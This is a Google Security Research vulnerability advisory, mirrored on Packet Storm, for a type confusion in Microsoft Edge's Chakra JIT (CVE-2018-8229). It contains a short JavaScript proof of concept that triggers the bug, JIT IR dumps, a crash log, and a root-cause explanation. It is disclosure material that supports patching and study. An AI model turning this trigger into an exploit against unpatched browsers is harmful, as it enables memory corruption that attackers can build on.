Microsoft Edge Chakra JIT SetConcatStrMultiItemBE Type Confusion

2018-07-12T00:00:00
ID PACKETSTORM:148527
Type packetstorm
Reporter Google Security Research
Modified 2018-07-12T00:00:00

Description

                                        
                                            `Microsoft Edge: Chakra: JIT: Type confusion with hoisted SetConcatStrMultiItemBE instructions   
  
CVE-2018-8229  
  
  
Here's a PoC:  
function opt(str) {  
for (let i = 0; i < 200; i++) {  
let tmp = str.charCodeAt('AAAAAAAAAA' + str + 'BBBBBBBBBB');  
}  
}  
  
opt('x');  
opt(0x1234);  
  
  
Here's the IR code of the PoC before the global optimization phase:  
---------  
FunctionEntry #  
s18.u64 = ArgIn_A prm1<32>.var #  
s9.var = LdSlot s32(s18l[53]).var #  
s7.var = LdSlot s20(s18l[51]).var #  
s8.var = LdSlot s19(s18l[52]).var #  
s1[Object].var = Ld_A 0x7FFFF47A0000 (GlobalObject)[Object].var #  
s2.var = LdC_A_I4 0 (0x0).i32 #  
s3.var = LdC_A_I4 200 (0xC8).i32 #  
s4.var = LdC_A_I4 1 (0x1).i32 #  
s5[String].var = LdStr 0x7FFFF47B9080 ("AAAAAAAAAA")[String].var #  
s6[String].var = LdStr 0x7FFFF47B90A0 ("BBBBBBBBBB")[String].var #  
s17.var = InitLoopBodyCount #0009   
---------  
$L1: >>>>>>>>>>>>> LOOP TOP >>>>>>>>>>>>> Implicit call: no #000b   
  
  
Line 2: i < 200; i++) {  
Col 21: ^  
StatementBoundary #1 #000b   
s17.i32 = IncrLoopBodyCount s17.i32 #000b   
BrLt_A $L3, s8.var, s3.var #000b   
Br $L2 #0010   
---------  
$L3: #0013   
  
  
Line 3: let tmp = str.charCodeAt('AAAAAAAAAA' + str + 'BBBBBBBBBB');  
Col 9: ^  
StatementBoundary #2 #0013   
s13.var = Ld_A s7.var #0013   
CheckFixedFld s21(s13->charCodeAt)<0,m~=,+-,s?,s?>.var #0016 Bailout: #0016 (BailOutFailedEquivalentFixedFieldTypeCheck)  
s12[ffunc][Object].var = Ld_A 0x7FFFF47972C0 (FunctionObject).var #  
s22.var = StartCall 2 (0x2).i32 #001a   
s36.var = BytecodeArgOutCapture s13.var #001d   
s24[String].var = Conv_PrimStr s5.var #0020   
s25[String].var = Conv_PrimStr s7.var #0020   
s26[String].var = Conv_PrimStr s6.var #0020   
ByteCodeUses s7 #0020   
s27.var = SetConcatStrMultiItemBE s24[String].var #0020   
s28.var = SetConcatStrMultiItemBE s25[String].var, s27.var #0020   
s29.var = SetConcatStrMultiItemBE s26[String].var, s28.var #0020   
s14[String].var = NewConcatStrMultiBE 3 (0x3).u32, s29.var #0020   
s35.var = BytecodeArgOutCapture s14.var #0025   
arg1(s34)<0>.u64 = ArgOut_A_InlineSpecialized 0x7FFFF47972C0 (FunctionObject).var, arg2(s30)<8>.var #0028   
arg1(s23)<0>.var = ArgOut_A s36.var, s22.var #0028   
arg2(s30)<8>.var = ArgOut_A s35.var, arg1(s23)<0>.var #0028   
ByteCodeUses s12 #0028   
s31[CanBeTaggedValue_Int_Number].var = CallDirect String_CharCodeAt.u64, arg1(s34)<0>.u64 #0028   
s9.var = Ld_A s31.var #0032   
  
  
Line 2: i++) {  
Col 30: ^  
StatementBoundary #3 #0035   
s8.var = Incr_A s8.var #0035   
Br $L1 #0038   
---------  
$L2: #003d   
  
  
Line 5: }  
Col 1: ^  
StatementBoundary #4 #0038   
s16.i64 = Ld_I4 61 (0x3D).i64 #003d   
s19(s18l[52]).var = StSlot s8.var #003e   
s32(s18l[53]).var = StSlot s9.var #003e   
StLoopBodyCount s17.i32 #003e   
Ret s16.i64 #003e   
----------------------------------------------------------------------------------------  
  
After the global optimization phase:  
---------  
FunctionEntry #  
s18.u64 = ArgIn_A prm1<32>.var! #  
s9[LikelyCanBeTaggedValue_Int].var = LdSlot s32(s18l[53])[LikelyCanBeTaggedValue_Int].var! #  
s7<s44>[LikelyCanBeTaggedValue_String].var = LdSlot s20(s18l[51])[LikelyCanBeTaggedValue_String].var! #  
s8[LikelyCanBeTaggedValue_Int].var = LdSlot s19(s18l[52])[LikelyCanBeTaggedValue_Int].var! #  
s5[String].var = LdStr 0x7FFFF47B9080 ("AAAAAAAAAA")[String].var #  
s6[String].var = LdStr 0x7FFFF47B90A0 ("BBBBBBBBBB")[String].var #  
s17.var = InitLoopBodyCount #0009   
s42(s8).i32 = FromVar s8[LikelyCanBeTaggedValue_Int].var # Bailout: #000b (BailOutIntOnly)  
s27.var = SetConcatStrMultiItemBE s5[String].var #0020   
s49[String].var = Conv_PrimStr s7<s44>[String].var #  
s28.var = SetConcatStrMultiItemBE s49[String].var!, s27.var! #0020   
s29.var = SetConcatStrMultiItemBE s6[String].var, s28.var! #0020   
s14[String].var = NewConcatStrMultiBE 3 (0x3).u32, s29.var! #0020   
BailTarget # Bailout: #000b (BailOutShared)  
---------  
$L1: >>>>>>>>>>>>> LOOP TOP >>>>>>>>>>>>> Implicit call: no #000b   
  
  
Line 2: i < 200; i++) {  
Col 21: ^  
StatementBoundary #1 #000b   
s17.i32 = IncrLoopBodyCount s17.i32! #000b   
BrGe_I4 $L2, s42(s8).i32, 200 (0xC8).i32 #000b   
  
  
Line 3: let tmp = str.charCodeAt('AAAAAAAAAA' + str + 'BBBBBBBBBB');  
Col 9: ^  
StatementBoundary #2 #0013   
CheckFixedFld s43(s7<s44>[LikelyCanBeTaggedValue_String]->charCodeAt)<0,m~=,++,s44!,s45+,{charCodeAt(0)~=}>.var! #0016 Bailout: #0016 (BailOutFailedEquivalentFixedFieldTypeCheck)  
s22.var = StartCall 2 (0x2).i32 #001a   
arg1(s34)<0>.u64 = ArgOut_A_InlineSpecialized 0x7FFFF47972C0 (FunctionObject).var, arg2(s30)<8>.var! #0028   
arg1(s23)<0>.var = ArgOut_A s7<s44>[String].var, s22.var! #0028   
arg2(s30)<8>.var = ArgOut_A s14[String].var, arg1(s23)<0>.var! #0028   
s31[CanBeTaggedValue_Int_Number].var = CallDirect String_CharCodeAt.u64, arg1(s34)<0>.u64! #0028 Bailout: #0032 (BailOutOnImplicitCalls)  
s9[CanBeTaggedValue_Int_Number].var = Ld_A s31[CanBeTaggedValue_Int_Number].var! #0032   
  
  
Line 2: i++) {  
Col 30: ^  
StatementBoundary #3 #0035   
s42(s8).i32 = Add_I4 s42(s8).i32!, 1 (0x1).i32 #0035   
Br $L1 #0038   
---------  
$L2: #003d   
  
  
Line 5: }  
Col 1: ^  
StatementBoundary #4 #003d   
s8[CanBeTaggedValue_Int].var = ToVar s42(s8).i32! #003e   
s19(s18l[52])[CanBeTaggedValue_Int].var! = StSlot s8[CanBeTaggedValue_Int].var! #003e   
s32(s18l[53])[LikelyCanBeTaggedValue_Int_Number].var! = StSlot s9[LikelyCanBeTaggedValue_Int_Number].var! #003e   
StLoopBodyCount s17.i32! #003e   
Ret 61 (0x3D).i32 #003e   
----------------------------------------------------------------------------------------  
  
Crash log:  
[----------------------------------registers-----------------------------------]  
RAX: 0x1000000001234   
RBX: 0x7ffff47c5ff4 --> 0x31 ('1')  
RCX: 0x7ff7f4600000 --> 0x0   
RDX: 0x0   
RSI: 0x80000001 --> 0x0   
RDI: 0x1000000001234   
RBP: 0x7ffffffef410 --> 0x7ffffffef590 --> 0x7ffffffefb90 --> 0x7ffffffefc90 --> 0x7ffffffefef0 --> 0x7fffffff48b0 (--> ...)  
RSP: 0x7ffffffef340 --> 0x7ffffffef3b0 --> 0x1000000001234   
RIP: 0x7ff7f385017a (cmp QWORD PTR [rax],r10)  
R8 : 0x55555cfbc870 --> 0x555557fc27e0 (<Js::RecyclableObject::Finalize(bool)>: push rbp)  
R9 : 0x7ff7f4600000 --> 0x0   
R10: 0x55555cfbc870 --> 0x555557fc27e0 (<Js::RecyclableObject::Finalize(bool)>: push rbp)  
R11: 0x7ffff47b9080 --> 0x55555cfa0f18 --> 0x555557fc27e0 (<Js::RecyclableObject::Finalize(bool)>: push rbp)  
R12: 0x0   
R13: 0x7ffff47b36b0 --> 0x55555cfbee70 --> 0x555557fc27e0 (<Js::RecyclableObject::Finalize(bool)>: push rbp)  
R14: 0x0   
R15: 0x1000000001234  
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)  
[-------------------------------------code-------------------------------------]  
0x7ff7f385016e: mov BYTE PTR [rcx+rax*1],0x1  
0x7ff7f3850172: mov rax,QWORD PTR [rbp-0x10]  
0x7ff7f3850176: mov r10,QWORD PTR [rbp-0x18]  
=> 0x7ff7f385017a: cmp QWORD PTR [rax],r10  
0x7ff7f385017d: je 0x7ff7f385037c  
0x7ff7f3850183: mov rcx,rax  
0x7ff7f3850186: mov QWORD PTR [rbp-0x18],rcx  
0x7ff7f385018a: mov eax,DWORD PTR [rcx+0x18]  
[------------------------------------stack-------------------------------------]  
0000| 0x7ffffffef340 --> 0x7ffffffef3b0 --> 0x1000000001234   
0008| 0x7ffffffef348 --> 0x7ffff471c1e0 --> 0x55555cf48850 --> 0x555556c17100 (<Js::FunctionBody::Finalize(bool)>: push rbp)  
0016| 0x7ffffffef350 --> 0x7ffff471c298 --> 0x7ffff4774140 --> 0x10f1215030708   
0024| 0x7ffffffef358 --> 0x7ffff471c298 --> 0x7ffff4774140 --> 0x10f1215030708   
0032| 0x7ffffffef360 --> 0x7ffffffef410 --> 0x7ffffffef590 --> 0x7ffffffefb90 --> 0x7ffffffefc90 --> 0x7ffffffefef0 (--> ...)  
0040| 0x7ffffffef368 --> 0x555556c40b8b (<Js::CompactCounters<Js::FunctionBody, Js::FunctionBody::CounterFields>::Get(Js::FunctionBody::CounterFields) const+139>: movzx ecx,BYTE PTR [rbp-0x22])  
0048| 0x7ffffffef370 --> 0x7ffff47a4238 --> 0x7ffff47c5fe0 --> 0x7ffff4796a40 --> 0x55555cf4df58 --> 0x555556cb7a20 (<JsUtil::List<Js::LoopEntryPointInfo*, Memory::Recycler, false, Js::CopyRemovePolicy, DefaultComparer>::IsReadOnly() const>: push rbp)  
0056| 0x7ffffffef378 --> 0x7ffffffef4a0 --> 0x7ffffffef4c0 --> 0x7ffffffef590 --> 0x7ffffffefb90 --> 0x7ffffffefc90 (--> ...)  
[------------------------------------------------------------------------------]  
Legend: code, data, rodata, value  
Stopped reason: SIGSEGV  
0x00007ff7f385017a in ?? ()  
  
  
Background:  
Invariant operations like SetConcatStrMultiItemBE in a loop can be hoisted to the landing pad of the loop to avoid performing the same operation multiple times. When Chakra hoists a SetConcatStrMultiItemBE instruction, it creates a new Conv_PrimStr instruction to ensure the type of the Src1 of the SetConcatStrMultiItemBE instruction to be String and inserts it right before the SetConcatStrMultiItemBE instruction.  
  
What happens here is:  
1. The CheckFixedFld instruction ensures the type of s7 to be String.  
2. Chakra judges that the CheckFixedFld instruction can't be hoisted in the case. It remains in the loop.  
3. Chakra judges that the SetConcatStrMultiItemBE instructions can be hoisted. It hoists them along with a newly created Conv_PrimStr instruction, but without invalidating the type of s7 (String).  
4. So the "s49[String].var = Conv_PrimStr s7<s44>[String].var" instruction is inserted into the landing pad. Since s7 is already assumed to be of String, the instruction will have no effects at all.  
5. No type check will be performed. It will result in type confusion.  
  
  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`